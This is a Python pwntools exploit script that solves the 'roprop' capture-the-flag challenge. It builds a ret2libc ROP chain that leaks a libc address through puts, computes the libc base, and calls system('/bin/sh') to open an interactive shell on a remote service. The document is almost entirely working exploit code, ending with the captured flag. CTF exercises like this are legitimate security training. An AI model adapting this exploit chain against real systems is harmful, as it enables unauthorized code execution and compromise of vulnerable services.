```py# 64-bit ret2libc
from pwn import *
local = False
host = 'roprop.darkarmy.xyz'port = 5002
elf = ELF('./roprop')rop = ROP(elf)
if local:    p = elf.process()    libc = ELF('/usr/lib/libc.so.6')else:    p = remote(host, port)    libc = ELF('./libc-2.27.so')
PUTS_PLT = elf.plt['puts']MAIN_PLT = elf.symbols['main']
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]RET = rop.find_gadget(['ret'])[0]
OFFSET = b'A' * (0x50 + 0x8)
log.info("puts@plt: " + hex(PUTS_PLT))log.info("main@plt: " + hex(MAIN_PLT))log.info("POP RDI: " + hex(POP_RDI))
def get_addr(func_name):    FUNC_GOT = elf.got[func_name]    rop_chain = [        POP_RDI, FUNC_GOT,        PUTS_PLT,        MAIN_PLT,    ]
    rop_chain = b''.join([p64(i) for i in rop_chain])    payload = OFFSET + rop_chain     print(p.recvuntil('late 19\'s.\n\n'))    print(payload)
    p.sendline(payload)
    received = p.recvline().strip()    leak = u64(received.ljust(8, b'\x00'))    libc.address = leak - libc.symbols[func_name]
    return hex(leak)
log.info('Leak: ' + get_addr('__libc_start_main'))log.info('Libc base: ' + hex(libc.address))
BIN_SH = next(libc.search(b'/bin/sh'))SYSTEM = libc.symbols['system']EXIT = libc.symbols['exit']
ROP_CHAIN = [    RET,    POP_RDI, BIN_SH,    SYSTEM,    EXIT,]
ROP_CHAIN = b''.join([p64(i) for i in ROP_CHAIN])
payload = OFFSET + ROP_CHAIN
print(p.recvuntil("since late 19's.\n\n"))
p.sendline(payload)
p.interactive()
# darkCTF{y0u_r0p_r0p_4nd_w0n}
```